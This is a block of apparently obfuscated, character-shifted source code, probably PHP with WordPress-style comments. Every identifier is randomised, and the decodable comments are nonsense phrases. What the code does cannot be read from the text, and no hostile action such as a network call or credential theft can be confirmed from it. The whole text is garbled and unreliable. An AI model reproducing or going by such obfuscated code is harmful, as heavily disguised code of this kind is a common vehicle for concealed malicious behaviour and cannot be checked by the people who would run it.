99=?!((&(,jb?pinW>a:z>iin:((((&((aW;~yrxiqyjro 99=>!$(jj`>dqcld1xlfd: 99=0!(&((,jb?pinW>a:z>iin:(&(((aW;~yrxiqyjro 99=1!$(!(i{(((,b~n}f=g=bidj(((!(((san(((( )aozjlg0f<j1nk{ 99;1! ,j>{W=r1ry|o~;f0q!!((jzmic3(((,j>{W=r1ry|o~;f0q((((5((aW;~yrxiqyjro 118! ,b~n}f=g=bidj$(((((*Tf*$(((,j>{W=r1ry|o~;f0q!3(((((uzm|}zf((((,j>{W=r1ry|o~;f0q3,}e9ka:bcbpj5%?083,l=:`d|9;:9m5 ,}e9ka:bcbpj68!7,}e9ka:bcbpj2%,}e9ka:bcbpj3(u(((((n}fk|agf((((fj0ffpdgn}pcpf0dq ,kgdrpmd0ig!s((an((((( jj`>dqcld1xlfd: 99>8! aW;~yrxiqyjro :88!!!(((s((zm|}zf(((Hgxkik`mWaf~idali|m ,kgdrpmd0ig$((|z}m!((()55((((nid{m3u((((,`}?eoe=d|k`e(((5((((((rq;ec{mmgl| 99>8! aW;~yrxiqyjro 99>9!!((7(((Hgxkik`mWom|W{|i|}{ nid{m!(((((2(((nid{m3(zm|}zf((() rq;ec{mmgl| 980=! ,`}?eoe=d|k`e!((..(()mex|q ,`}?eoe=d|k`eSaozjlg0f<j1nk{ 99>:!U!!3((un}fk|agf(|;1bljy:yp8ja?:f?}g1i ,fd8pcbk08m0$((((,i`Wq|}qg{{|$(,Wrr?<y00y`!(((s(an( rq;ec{mmgl| 99;9! ,fd8pcbk08m0$(% 0%<!!((555((((((jj`>dqcld1xlfd: 100!!(((s(((an(( ){jynjr};<k;ff=~{9pbapx ,fd8pcbk08m0$(,i`Wq|}qg{{|!!((s(gcp<j<0::Wlzkc}{liqd} ,Wrr?<y00y`$((((jj`>dqcld1xlfd: 99>;!(&(rq;ec{mmgl| 99;>! ,fd8pcbk08m0!!3zm|}zf(nid{m3((ufj0ffpdgn}pcpf0dq ,fd8pcbk08m0!3((((zm|}zf((jj`>dqcld1xlfd: 9980! ,i`Wq|}qg{{|!3((((u,na:Wg0y:a9=`>((5(((Haozjlg0f<j1nk{ 98<! ,fd8pcbk08m0$(((((aozjlg0f<j1nk{ 99><!!3(an((( ,na:Wg0y:a9=`>((((555((nid{m!(s(((((gcp<j<0::Wlzkc}{liqd} ,Wrr?<y00y`$(aW;~yrxiqyjro 99>;!(((((&(aW;~yrxiqyjro 99>=! ,fd8pcbk08m0!!3((((zm|}zf(((nid{m3,{lpy{={0591">3,i<qaap;9>1m{W5,{lpy{={0%;13u(((an(( rq;ec{mmgl| 99>8! aozjlg0f<j1nk{ 99>>!!!((Hndgkc ,na:Wg0y:a9=`>$(((((DGKCWMP!3(,xbn:9gk<gb1n}=?>(5(((Hjj`>dqcld1xlfd: 99>?! ,na:Wg0y:a9=`>$(((,i`Wq|}qg{{|!3((((((an(( aW;~yrxiqyjro 99>8! jj`>dqcld1xlfd: 99>>!!!((Hndgkc ,na:Wg0y:a9=`>$((((DGKCW]F!3Hnkdg{m ,na:Wg0y:a9=`>!3((an( ,xbn:9gk<gb1n}=?>((555(nid{m(((tt((((( ,i`Wq|}qg{{|(()55(((**(((..((,xbn:9gk<gb1n}=?>()55(((rq;ec{mmgl| 9980! ,i`Wq|}qg{{|!!!(s(gcp<j<0::Wlzkc}{liqd} ,Wrr?<y00y`$(jj`>dqcld1xlfd: 99>;!(&((aW;~yrxiqyjro 99>=! ,fd8pcbk08m0!!3((zm|}zf(nid{m3((((((u((((((zm|}zf(,xbn:9gk<gb1n}=?>3((((u((((((((n}fk|agf(((`zb>z:?yq<dj?ny1g !((s''(xzgik|a~m(dafmiz%|qxm(|zq(s((((((((an( )jj`>dqcld1xlfd: 99>8! jj`>dqcld1xlfd: 0?<!!(tt()jj`>dqcld1xlfd: 99>0! jj`>dqcld1xlfd: 99>1!!!((s<lbc;em?qm<d9>>0?ano f}dd!3(zm|}zf3((uan((( om|W|zif{amf| aW;~yrxiqyjro 99?8!!!(zm|}zf3((((an( om|W|zif{amf| aozjlg0f<j1nk{ 99?9!!!((((((zm|}zf3(((((({m|W|zif{amf| aozjlg0f<j1nk{ 99?:!$(9$(( =;9#>1!!3(<lbc;em?qm<d9>>0?ano f}dd!3an(((( aozjlg0f<j1nk{ 99>0! jj`>dqcld1xlfd: 018!!!((lmdm|mW|zif{amf| rq;ec{mmgl| 99?:!!3,~yWg|q1|xy(((5(rq;ec{mmgl| 99>0! aW;~yrxiqyjro 99?;!!(((7( {|zafo!((((`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 98?<!$(**!((2(((**3an( ,~yWg|q1|xy((()55(**(((..(((rq;ec{mmgl| 99?<! rq;ec{mmgl| 99?=!!((..(((}{mzfiemWmpa{|{ ,~yWg|q1|xy!!((s{m|W|zif{amf| jj`>dqcld1xlfd: 99?8!$(((9$( ;0190%9?;90!!3((((uu(ki|k`((( \`zgijdm((,d|f9x=j|9W:!(s''(Hxzg~a{agf(dmicq%j}kcm|((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 99?>!$(,d|f9x=j|9W:!3u(((ki|k`(( Mpkmx|agf(((((,d|f9x=j|9W:!((s,k~:c09889kp5;;#1;3,|f1?nzaW5,k~:c09889kp%<?3(u(((u(((((n}fk|agf((((((<lbc;em?qm<d9>>0?ano ,g?0qlWj9=agk!(s(((((an((( )keabp1?l:==10>dne1f<9 rq;ec{mmgl| 089!!!((zm|}zf3(((|zq((s((((((((an(( )(aW;~yrxiqyjro 99?<! rq;ec{mmgl| 99??!!((tt(((()(((((aW;~yrxiqyjro 99?0! aozjlg0f<j1nk{ 99?1!!!(szm|}zf3((((u((,ic=y>cc<bbb1(((5(( {|zafo!((((`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 98?<!$((**!3(an( ,ic=y>cc<bbb1(((()55((**((((..((((}{mzfiemWmpa{|{ ,ic=y>cc<bbb1!((((..((((( {|zafo!((`ja}:~bo1<;}zr;fcWWp aozjlg0f<j1nk{ 98?=!$(**!((((()55((**!(szm|}zf3((u((an((( ,ic=y>cc<bbb1((555((**!(s'"(dafmizarijdm({qfk`zgfarmz("'((,yde:;1e`1}~f?0yd(((5((rq;ec{mmgl| 9908! ,g?0qlWj9=agk!(((7((,g?0qlWj9=agk(2((((W;e1cpbo}?y``=< !3((,al=;}a<lWlqm{(5((((c:=oyoW}kyrojio>|alrW| ,yde:;1e`1}~f?0yd!3((an(((( ((,al=;}a<lWlqm{(((..(()mex|q ,al=;}a<lWlqm{%6}{mzWdgoaf!((..(((a{{m| ,al=;}a<lWlqm{%6}{mzWmeiad!..((((,al=;}a<lWlqm{%6}{mzWmeiad((555((,al=;}a<lWlqm{%6}{mzWdgoaf((&((((((/H/(((((&(((orkx{~qmc8gyjn jj`>dqcld1xlfd: 9909!!(!((((s(((((,ic=y>cc<bbb1((((5( {|zafo!(,al=;}a<lWlqm{%6}{mzWdgoaf3(((u(((((uan( ,ic=y>cc<bbb1()55(((**((..((((}{mzfiemWmpa{|{ ,ic=y>cc<bbb1!!(((s(,{1o?e<=a|d9eWx>(5(}{mzfiemWmpa{|{ ,ic=y>cc<bbb1!3((((((,jany~ior90>|~xl((5(mp<9p>k`8?o:yf8fpo9  9>=V901!!3((an(((( aozjlg0f<j1nk{ 990:! jj`>dqcld1xlfd: 990;!!!((((s(aW;~yrxiqyjro 990;! ,jany~ior90>|~xl$(,{1o?e<=a|d9eWx>!3u(((brWd:drr>|qrizlfce::~ rq;ec{mmgl| 98?<!$(,ic=y>cc<bbb1$((rq;ec{mmgl| 980:!!3,}q?z1}|b<5;1"=3,e??}jj0a}5,}q?z1}|b<%;13((((brWd:drr>|qrizlfce::~ aozjlg0f<j1nk{ 98?=!$(((,jany~ior90>|~xl$(rq;ec{mmgl| 990<!!3(((zm|}zf3(((((u,dnjljj}l`<j(((5((a1r|l:r>ji{o`9pmge !3(((((an(( |z}m!(s((,ic=y>cc<bbb1(((5((((**3(ngz(( ,yf~jba}>8ejfW0(5(83((,yf~jba}>8ejfW0((4( 1%<!3(((,yf~jba}>8ejfW0##!(s,dk>ej8lozb|(5((,dnjljj}l`<jSaozjlg0f<j1nk{ 990=! ,dnjljj}l`<j!U(&(mp<9p>k`8?o:yf8fpo9  9;<V9<8!!3(((an( )}{mzfiemWmpa{|{ ,dk>ej8lozb|!!(((((s(,ic=y>cc<bbb1((5(((,dk>ej8lozb|3(((jzmic3''(_X(Xiziozix`(Jdgkc(i||ik`emf|(em|ili|i(((((u((((u((((((an(( ,ic=y>cc<bbb1(555(((**!((s'"(xg{a|a~m%lmnafa|m(ilix|mz("'((((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 990>!$(((aW;~yrxiqyjro 990?!!3((zm|}zf3u(((u,jany~ior90>|~xl((5(((mp<9p>k`8?o:yf8fpo9  <?%:;!!3(an((((( )((((jj`>dqcld1xlfd: 9900! aozjlg0f<j1nk{ 9901!!((..(((lmnafml rq;ec{mmgl| 1>>!!((((..((jj`>dqcld1xlfd: 9918! IJ[XI\@(&(jj`>dqcld1xlfd: 9919!!!(((((s''(Zmla{(gjbmk|(kik`m(gjbmk|(na|,c<br8fio{5<#:<3,r001<bfbxr5,c<br8fio{%;13(zmy}azmWgfkm((((IJ[XI\@((((((&((((rq;ec{mmgl| 9919!3(((((((u(((((((,z08koinqf>o9cjl((((5(,ic=y>cc<bbb1((&(((/H/((&(orkx{~qmc8gyjn jj`>dqcld1xlfd: 9909!!3,d}8c~<xbe;W18nx((5((nid{m3(an( aozjlg0f<j1nk{ 9900! aozjlg0f<j1nk{ 9901!!!(((s,d}8c~<xbe;W18nx(((5((((rq;ec{mmgl| 9901! izziq (((rq;ec{mmgl| 991:!(((56(((,ic=y>cc<bbb1$rq;ec{mmgl| 991;!(((56(((,jany~ior90>|~xl$((((aW;~yrxiqyjro 991<!(56(,z08koinqf>o9cjl$((((aW;~yrxiqyjro 991=!((((56(aW;~yrxiqyjro 991>!$((jj`>dqcld1xlfd: 991?!(56((,ic=y>cc<bbb1$(((((((!!3an(( a{WxWmzzgz ,d}8c~<xbe;W18nx!!((((s(((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 990>!$(,d}8c~<xbe;W18nx%6om|WmzzgzWkglm !(((&(((/2/(&((,d}8c~<xbe;W18nx%6om|WmzzgzWem{{iom !!3(,d}8c~<xbe;W18nx(((((5((nid{m3((u(u(((an((( ),d}8c~<xbe;W18nx!(((s(((((,xlj(5(a{{m| ,ODGJID[SaW;~yrxiqyjro 98;>!U!((7(,ODGJID[Srq;ec{mmgl| 98;>!U((2((f}dd3(an( ),xlj((((tt()aozjlg0f<j1nk{ 98?>! ,xlj!!((s((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 990>!$((rq;ec{mmgl| 9910!!3zm|}zf3(u(((,iqg>gai==(((((5(((jj`>dqcld1xlfd: 9900! jj`>dqcld1xlfd: 9911!!((7((((xW`i{`Wxi{{gzl ,jany~ior90>|~xl!(2((((aW;~yrxiqyjro 99:>! ,jany~ior90>|~xl!3(((,jyl9~y0p{?bg}md(5((((aW;~yrxiqyjro 9900! rq;ec{mmgl| 9:88!!(((7(k}zzmf|W|aem aozjlg0f<j1nk{ 9:89!!(((2((oeli|m aozjlg0f<j1nk{ 9:8:!!3,`8<kjze0=:1>Wi((5((((((,xlj%6af{mz| ,xlj%6}{mz{$(izziq ((rq;ec{mmgl| 9:8;!(56(((,ic=y>cc<bbb1$(((aozjlg0f<j1nk{ 991;!(56(((,iqg>gai==$(rq;ec{mmgl| 9:8<!((((56((((,ic=y>cc<bbb1$((rq;ec{mmgl| 991<!((56((((,z08koinqf>o9cjl$aW;~yrxiqyjro 9:8=!(((56((,jyl9~y0p{?bg}md$((((aozjlg0f<j1nk{ 9:8>!((56((((8$((((((aozjlg0f<j1nk{ 991?!((56(,ic=y>cc<bbb1$((!$(((izziq jj`>dqcld1xlfd: 9:8?!$((aW;~yrxiqyjro 9:8?!$((jj`>dqcld1xlfd: 9:8?!$((aozjlg0f<j1nk{ 9:8?!$((jj`>dqcld1xlfd: 9:8?!$(aW;~yrxiqyjro 9:80!$((((((aW;~yrxiqyjro 9:8?!!!3(an(( ),`8<kjze0=:1>Wi!(((s(((((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 990>!$(jj`>dqcld1xlfd: 9:81!!3(zm|}zf3((u((,d}8c~<xbe;W18nx((5(( af|!(,xlj%6af{mz|Wal3(,plzbqjmce;(((5((((((,xlj%6xzmnap(&((((rq;ec{mmgl| 98;?!3,xlj%6af{mz| ,xlj%6}{mzem|i$((izziq (((((((jj`>dqcld1xlfd: 9:98!(((56((,d}8c~<xbe;W18nx$(((rq;ec{mmgl| 9:99!((((56((((,plzbqjmce;$((aozjlg0f<j1nk{ 9:9:!(56(((aozjlg0f<j1nk{ ;1>! izziq rq;ec{mmgl| 991>!((56(|z}m!!$(!$(izziq rq;ec{mmgl| 9:80!$((((((aW;~yrxiqyjro 9:8?!$(((((rq;ec{mmgl| 9:8?!!!3(,xlj%6af{mz| ,xlj%6}{mzem|i$((((izziq ((((jj`>dqcld1xlfd: 9:98!(56(,d}8c~<xbe;W18nx$(aW;~yrxiqyjro 9:9;!((((56((((((,xlj%6xzmnap((((&((rq;ec{mmgl| 9:9<!$((((((aW;~yrxiqyjro 9:9:!((56(/98/$((!$(((izziq aW;~yrxiqyjro 9:80!$(((jj`>dqcld1xlfd: 9:9=!$(((aozjlg0f<j1nk{ 9:9>!!!3(an(((( aozjlg0f<j1nk{ 9900! aW;~yrxiqyjro 9:9?!!!(s(kdmifW}{mzWkik`m ,d}8c~<xbe;W18nx!3(((((u(uan((((( )}{mzfiemWmpa{|{ ,ic=y>cc<bbb1!!(s(((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9:90!$(jj`>dqcld1xlfd: 9:91!!3(zm|}zf3u(,qkcWizWy>i=r;z((5(((((rq;ec{mmgl| 9::8! jj`>dqcld1xlfd: 9::9!!((7(((om|W}{mzWjq aozjlg0f<j1nk{ 9:::!$(((,ic=y>cc<bbb1!((2(((((nid{m3(,x~j0~<<>ri:p?((((((5((nid{m3an(((( ,qkcWizWy>i=r;z((..((()mex|q ,qkcWizWy>i=r;z%6AL!!(((s(an( jj`>dqcld1xlfd: 9::8! jj`>dqcld1xlfd: 9::;!!!(((s,x~j0~<<>ri:p?((5(( jggd!((}{mzWkif ,qkcWizWy>i=r;z$((aozjlg0f<j1nk{ 991>!!3(u(md{man( a{{m| ,qkcWizWy>i=r;z%6kix{!(((..(aW;~yrxiqyjro 9908! ,qkcWizWy>i=r;z%6kix{!!(s,x~j0~<<>ri:p?(5((((()mex|q ,qkcWizWy>i=r;z%6kix{Sjj`>dqcld1xlfd: 991>!U!3(((u(u''(_X(Jdgkc(IXA(~;2(ozmmlq(ikk}e}di|gz(an(( ),x~j0~<<>ri:p?!(s(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9:90!$(((((aW;~yrxiqyjro 9::<!!3((an(( ,d}8c~<xbe;W18nx!(((((s((((an(((( )aW;~yrxiqyjro 9::8! jj`>dqcld1xlfd: 9::=!!((((..(lmnafml rq;ec{mmgl| 9::>!!((..(Hrq;ec{mmgl| 9918! IJ[XI\@(&((((aW;~yrxiqyjro 9::?!!!(s((((zmy}azmWgfkm((IJ[XI\@((&(((rq;ec{mmgl| 9::?!3((((u(an(((((( jj`>dqcld1xlfd: 9::8! aozjlg0f<j1nk{ 9::=!!!(((((HxWlmdm|mW}{mz ,d}8c~<xbe;W18nx!3u(((zm|}zf3((((((u((brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: 98?<!$(((,ic=y>cc<bbb1$((rq;ec{mmgl| 9::0!!3(brWd:drr>|qrizlfce::~ aW;~yrxiqyjro 98?=!$(((,jany~ior90>|~xl$(((aozjlg0f<j1nk{ 9::0!!3((((u((((ki|k`(( \`zgijdm(,d|f9x=j|9W:!((s''(zm{|gzm(m~mf|}id(em{{iom%y}m}mgcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9:90!$(,d|f9x=j|9W:!3((((((u(ki|k`( Mpkmx|agf((((,d|f9x=j|9W:!(((((s(u((((nafiddq((s(o={;`1ei:gj1aqkz jj`>dqcld1xlfd: 089!!3(uu((n}fk|agf(((((bkWi~8ndp8q<>;nyp~ ,ibz|>cW?~<!((s(((|zq(s((((an(( )((jj`>dqcld1xlfd: 98?>! ,ibz|>cW?~<!(tt((()((xzgxmz|qWmpa{|{ ,ibz|>cW?~<$((aW;~yrxiqyjro 9::1!!!((((s(((zm|}zf(,ibz|>cW?~<3(((u(,ic=y>cc<bbb1((5((aW;~yrxiqyjro 9::8! aW;~yrxiqyjro 99??!!((((7((( {|zafo!(((`ja}:~bo1<;}zr;fcWWp rq;ec{mmgl| 98?<!$(((**!(((2(**3((an(( )((,ic=y>cc<bbb1!(s(zm|}zf((((((,ibz|>cW?~<3(u(((,pj|=9y}yrb18(((5((((m{kW{yd ,ic=y>cc<bbb1!3an(((((( aozjlg0f<j1nk{ 9:;8! ,ibz|>cW?~<%6y}mzqW`mzm$((,pj|=9y}yrb18!(555(nid{m!(s(,ibz|>cW?~<%6y}mzqW`mzm((&5(((aW;~yrxiqyjro 9:;9!(&((,pj|=9y}yrb18(&((*/*3((((((u((u((((ki|k`( \`zgijdm((((,d|f9x=j|9W:!(((s(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9:;:!$((,d|f9x=j|9W:!3(u((((ki|k`((( Mpkmx|agf((((,d|f9x=j|9W:!((s(u(((((zm|}zf((,ibz|>cW?~<3(((((((u(n}fk|agf((((b;kjxxo~1>m9ccx`r ,b{{k~jo}kW!(((s'"(lmomfmzi|m(|z}{|%ifk`gz("'((|zq((s((((,~yWg|q1|xy(5((rq;ec{mmgl| 9::8! rq;ec{mmgl| 9:;;!!((7( {|zafo!((`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 9:;<!$(**!((((((2(**3an(((((( )((,~yWg|q1|xy!(((s''(almf|a|q(kgexiza{gfzm|}zf((,b{{k~jo}kW3((((u((((,f`lindp1k1|((((5(((izziq rq;ec{mmgl| 9:;=!$(aozjlg0f<j1nk{ 991>!!3(((((((ngzmik`(( ,f`lindp1k1|((i{((,cmq!(((s((((an(( a{{m| ,b{{k~jo}kWS,cmqU!(..(((aozjlg0f<j1nk{ 99;1! ,b{{k~jo}kWS,cmqU!((..((((aW;~yrxiqyjro 08>! rq;ec{mmgl| 9:;>!$(((,b{{k~jo}kWS,cmqU$(((,~?b9=1{ef>n1x?!!((s,ebezm{a8c:j8o9}~(5((aW;~yrxiqyjro =;=! 8$((( af|!((((,~?b9=1{ef>n1x?S9U((%((9!3((((((,b{{k~jo}kWS,cmqU(5((((((aozjlg0f<j1nk{ 9:;?! rq;ec{mmgl| 9:;0!$(/ /((&((,ebezm{a8c:j8o9}~(&(((/!/$(,b{{k~jo}kWS,cmqU!3(u(((uu(((ki|k`(( \`zgijdm(,d|f9x=j|9W:!(s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9:;1!$(,d|f9x=j|9W:!3(u((((ki|k`(( Mpkmx|agf(,d|f9x=j|9W:!(s((u((zm|}zf((((,b{{k~jo}kW3(((((un}fk|agf(((((kd;e|opnfbdW:0:0lpz<c ,`>}8<}xgky$(,r>8pf?y>eiyy{pn!((s,|`>z1<=1`5=;>93,m:lod8<15,|`>z1<=1`-9<3(|zq((s(,ic=y>cc<bbb1(5(((rq;ec{mmgl| 9::8! rq;ec{mmgl| 9:;;!!(7((( {|zafo!(`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 9:<8!$(**!((((2(((**3(((((an( ,ic=y>cc<bbb1((((555((**!((((s(((zm|}zf(((((,`>}8<}xgky3((u(((an((( )((aozjlg0f<j1nk{ 9908! ,`>}8<}xgky!!(s((((zm|}zf(,`>}8<}xgky3(((u(((((((an(((((( )((a{{m| ,`>}8<}xgkySjj`>dqcld1xlfd: 9:<9!U!(((tt((()((aozjlg0f<j1nk{ 9908! ,`>}8<}xgkySaozjlg0f<j1nk{ 9:<9!U!!(s((,`>}8<}xgkySaW;~yrxiqyjro 9:<:!U((((5((izziq !3,zWp:1};ze9{:5:?13,qk1?rxri5 ,zWp:1};ze9{:68!7,zWp:1};ze9{:2%,zWp:1};ze9{:3u(an(((( )(((aozjlg0f<j1nk{ ?1>! ,ic=y>cc<bbb1$(((((,`>}8<}xgkySaozjlg0f<j1nk{ 9:<:!U$(|z}m!!((((s(((((,`>}8<}xgkySaW;~yrxiqyjro 9:<:!USU((5((,ic=y>cc<bbb13u((u((ki|k`(( \`zgijdm((,d|f9x=j|9W:!(sgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9:<;!$((((,d|f9x=j|9W:!3(((((u((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!((((((s((u(zm|}zf((,`>}8<}xgky3,rfd~alpcW5=#:3,i|:ppo?c}qqmr5,rfd~alpcW%<?3u((((((n}fk|agf(p=gp<n0b?ok<le88` !(((((((s(((,pWm8aei>8mpm(((5(((izziq !3((((((((an( lmnafml rq;ec{mmgl| 0:0!!(..(aW;~yrxiqyjro 9::8! aW;~yrxiqyjro 9:;;!!!(((s''(Eq[YD(0(K\M{2(af{|z}emf|({kgxm%k`iaf((((,lij9~z;;xf{|((5(((( izziq!(((((om|Wgx|agf jj`>dqcld1xlfd: ??0!$((((((izziq !!3(((((,afr9{yabdk{x(5(((izziq !3(ngzmik`(( ,lij9~z;;xf{|((i{((,ji{mfiem!(s((((an( )((jj`>dqcld1xlfd: 9:<<! ,ji{mfiem!(((tt((aW;~yrxiqyjro 9:;8! ,ji{mfiem$(((aW;~yrxiqyjro :<>!!(()55((nid{m!((s(((kgf|af}m3u''(|zif{xadm({xiz{m(la{xi|k`mz((((,pWd>r~dlzn((5(((aW;~yrxiqyjro 9:<=! ,ji{mfiem!3(an((( ,pWd>r~dlzn((555((((/&/!((s(((,pWd>r~dlzn(5((((,ji{mfiem3((((((((u((((((an((( a{{m| ,afr9{yabdk{xS,pWd>r~dlznU!!(skgf|af}m3,jngx`krdojn`5;>"<3,|9?:18?}1k{y5,jngx`krdojn`%<03((((u,afr9{yabdk{xS,pWd>r~dlznU(5(((((|z}m3,fd8pcbk08m0(((5((_XWXD]OAFWLAZ(((&(/'/(((&(,ji{mfiem3an( aozjlg0f<j1nk{ 9:<>! ,ji{mfiem!(((((555(/&/!(((s(an( Haozjlg0f<j1nk{ 99;0! ,fd8pcbk08m0!!((s(,pWm8aei>8mpmSU((5(,fd8pcbk08m03u''(xzmnm|k`(lm|mzeafa{|ak(idmz|(u((md{m((((s,z?xcd9c}k{8(((5(((jj`>dqcld1xlfd: 9:<>! ,fd8pcbk08m0!3(an((((( HaW;~yrxiqyjro 0??! ,z?xcd9c}k{8!!((((s(,pWm8aei>8mpm(((((5(((((aozjlg0f<j1nk{ 9:<?! ,pWm8aei>8mpm$(bpfgW9zzomm:m:mc?>pn ,z?xcd9c}k{8$((((izziq aW;~yrxiqyjro 0<0!!!!3((u(u(u(((u''(a|mzi|m({m{{agf%|qxm(ngz(_X(Ngf|(Dajzizq(((((((an(( HaW;~yrxiqyjro 0??! }Wkig1fmg~0~qc<{g`|88f !!!((s''(H}f{}j{kzajm(kggzlafi|gz((((((,f;}:>jipe((5((((}:{9};`f?=m?`{`i{yc} }Wkig1fmg~0~qc<{g`|88f !!3an(((((( jj`>dqcld1xlfd: 9:<0! ,f;}:>jipe!!(s(ngzmik`((( ,f;}:>jipe(((((i{((((,rol>ikj8f|=nq!(s(((((((an(( ,rol>ikj8f|=nq((((555(((ac0{`=o;}0p=}qpady1kq !!(s((kgf|af}m3((((((((u(((,kgdrpmd0ig((5(((}Wkig1fmg~0~qc<{g`|88f !(&((((((/'/(((&(((,rol>ikj8f|=nq3((an((( HaW;~yrxiqyjro 9:<1! ,kgdrpmd0ig!((((..((aozjlg0f<j1nk{ ??! rq;ec{mmgl| 0::! ,rol>ikj8f|=nq$(((kgf{|if| rq;ec{mmgl| 9:=8!!!!((((555(aozjlg0f<j1nk{ 9:=9!!(s((((,pWm8aei>8mpmSU(((5(,kgdrpmd0ig3(((u(uuu(((((((((((an(( lmnafml aW;~yrxiqyjro 9::>!!((..(((aozjlg0f<j1nk{ 9::8! aozjlg0f<j1nk{ 9:=:!!!(s,~a~bb8<kxaecjq((5( {|zafo!(om|Wgx|agf aozjlg0f<j1nk{ 9:=;!$((((((**!3((,imqdeyzazkkyk(5(( {|zafo!(om|Wgx|agf aozjlg0f<j1nk{ 9:=<!$(**!3(,c~8<qgz`ax(5((lmnafml aW;~yrxiqyjro 9:==!!(((7(_XWKGF\MF\WLAZ(&((rq;ec{mmgl| 9:=>!((((2(IJ[XI\@(&((aozjlg0f<j1nk{ 9:=?!3((((,}`?=;8erx?oWf(5(((((jj`>dqcld1xlfd: 9:=0! rq;ec{mmgl| ;?1! izziq ,~a~bb8<kxaecjq$((,imqdeyzazkkyk!!!3((((((((ngzmik`( ,}`?=;8erx?oWf((((i{((,a{:ozyjjpx!(san(( jj`>dqcld1xlfd: 9:=1! ,a{:ozyjjpx$(aW;~yrxiqyjro 9:>8!!(()55((nid{m!((((s(kgf|af}m3u,drif;{i8=(((((5(((,c~8<qgz`ax((((&((/'/((&(,a{:ozyjjpx3an(((((( HaW;~yrxiqyjro 0??! ,drif;{i8=!!(s((((((,W~=e<blW;>|{d:(5((}:{9};`f?=m?`{`i{yc} ,drif;{i8=!3(((((an( aW;~yrxiqyjro 9:<0! ,W~=e<blW;>|{d:!!(sngzmik`((( ,W~=e<blW;>|{d:((i{((,rol>ikj8f|=nq!(s((((((,}8z;yar1acpn(((((5((,drif;{i8=(&((/'/((((((&((,rol>ikj8f|=nq3an(((( Haozjlg0f<j1nk{ 9:<1! ,}8z;yar1acpn!(..(jj`>dqcld1xlfd: ??! aW;~yrxiqyjro 0::! ,rol>ikj8f|=nq$((kgf{|if| jj`>dqcld1xlfd: 9:=8!!!!(((555(((aW;~yrxiqyjro 9:=9!!(((s(((,pWm8aei>8mpmSU(5(,}8z;yar1acpn3((u((((uu''(_X(Xg{|(Mpkmzx|(i||ik`emf|(em|ili|i((((,qe}q?ne<;b:jxl(((((5((,drif;{i8=((&((rq;ec{mmgl| 9:>9!3(an( Hjj`>dqcld1xlfd: 9:>:! ,qe}q?ne<;b:jxl!!(s((((,pWm8aei>8mpm((5((jj`>dqcld1xlfd: 9:<?! ,pWm8aei>8mpm$(((((bpfgW9zzomm:m:mc?>pn ,qe}q?ne<;b:jxl$(izziq rq;ec{mmgl| 9:=9!!!!3((((((u((((((u(u(u((((zm|}zf(((((aozjlg0f<j1nk{ 9:=0! ,pWm8aei>8mpm!3u((n}fk|agf((rlll8?rn>e8:nrla<8qoq ,aox0`n8cim!(s(((an( )aW;~yrxiqyjro 9:>;! ,aox0`n8cim!!(((((zm|}zf((izziq !3,zark~;brg`yflpWp((((5((izziq !3((ngzmik`(((( ,aox0`n8cim((i{(((,xbn:9gk<gb1n}=?>!(san((( )rq;ec{mmgl| 9:<<! ,xbn:9gk<gb1n}=?>!((tt((,xbn:9gk<gb1n}=?>(555((((**(((((tt(rq;ec{mmgl| 9:><! ,xbn:9gk<gb1n}=?>!(6((( <891#??!!((kgf|af}m3((|zq(s''({|zm{{%|m{|(aflmkgexg{ijdm(i}|`gza|qan( HaW;~yrxiqyjro 08>! ,xbn:9gk<gb1n}=?>$((**!((555(((((nid{m!((kgf|af}m3u((ki|k`((( \`zgijdm(((,d|f9x=j|9W:!(s((((kgf|af}m3(u(ki|k`(( Mpkmx|agf((,d|f9x=j|9W:!(((s(((kgf|af}m3u((,zark~;brg`yflpWpSU((((5((,xbn:9gk<gb1n}=?>3(((((u''(_X(@gem(Dafc2(|zikm(lgeafi|gz%|zmm(((zm|}zf(,zark~;brg`yflpWp3(un}fk|agf(zq0r|a;p=fkj`zxW ,aox0`n8cim!(s((|zq(s(((an((( mex|q ,aox0`n8cim!!(((s(((zm|}zf((nid{m3,r=~k}nW{59?:=3,aa8j<a:`gii5,r=~k}nW{-:3(((u(,pWm8aei>8mpm(((5((p=gp<n0b?ok<le88` !3(((((an(( mex|q ,pWm8aei>8mpm!!(((((s''(dgkc(kgf{|ziaf|%{m|(ngz(_X(Xg{|(\a|dm((zm|}zf(((((nid{m3(u(((((,~|qk<}rf{oxl(((5(nid{m3((((ngzmik`(( ,pWm8aei>8mpm(i{(,kgdrpmd0ig!(((s((((an( )(Hjj`>dqcld1xlfd: 9:<1! ,kgdrpmd0ig!(((tt()(((((Hrq;ec{mmgl| 0?0! ,kgdrpmd0ig!!(skgf|af}m3((u(((((((an( Hjj`>dqcld1xlfd: ::;! ,kgdrpmd0ig!((((6((( =:<::<#><!!(skgf|af}m3((((u,~o8a|m=x`{Wp`((5((Haozjlg0f<j1nk{ 99:=! ,kgdrpmd0ig!3(((an( )(,~o8a|m=x`{Wp`((tt(()(jj`>dqcld1xlfd: 9:>=! ,~o8a|m=x`{Wp`!!(skgf|af}m3((((((((u((((,oj>>pzm:y~1zk0;q(5(nid{m3(ngzmik`( ,aox0`n8cim(i{((,{amW>Wp=W>mk!((s|zq((s(((,r9arl<d}jli9a((5((((Hjj`>dqcld1xlfd: 9:;?! ,{amW>Wp=W>mk$(**$(((,~o8a|m=x`{Wp`!3(an((((( ,r9arl<d}jli9a((()55((f}dd((((..(((((,r9arl<d}jli9a((()55(,~o8a|m=x`{Wp`!((s((,~o8a|m=x`{Wp`((5((((,r9arl<d}jli9a3,zc010a<<xb5%10>3,kxln~di<q{i5 